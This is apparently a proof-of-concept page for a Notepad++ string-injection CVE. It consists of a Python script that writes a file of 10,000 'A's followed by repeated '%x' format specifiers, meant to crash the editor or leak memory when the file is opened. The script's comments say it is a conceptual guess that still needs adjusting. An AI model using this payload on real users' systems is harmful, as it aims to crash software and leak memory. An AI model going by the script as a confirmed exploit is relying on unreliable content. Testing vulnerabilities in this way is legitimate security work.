CVE-2026-3008 Notepad++字符串注入漏洞

# PoC for CVE-2026-3008 (Notepad++ String Injection) # This script generates a file with a potentially malicious string pattern. # Opening this file in a vulnerable version of Notepad++ may trigger a crash or information leak. import sys def generate_poc_file(filename): # Based on the vulnerability description, a long string or specific format # string might be needed. This is a conceptual example. # Adjust the payload based on specific technical analysis from the referenced GitHub links. # Example payload: A long string of 'A's followed by a format specifier # to test for memory read/crash. payload = "A" * 10000 + "%x" * 50 try: with open(filename, "w", encoding="utf-8", errors="ignore") as f: f.write(payload) print(f"[+] PoC file generated successfully: {filename}") print("[*] Open this file in Notepad++ to test for the vulnerability.") except IOError as e: print(f"[-] Error writing file: {e}") if __name__ == "__main__": output_file = "cve_2026_3008_poc.txt" generate_poc_file(output_file)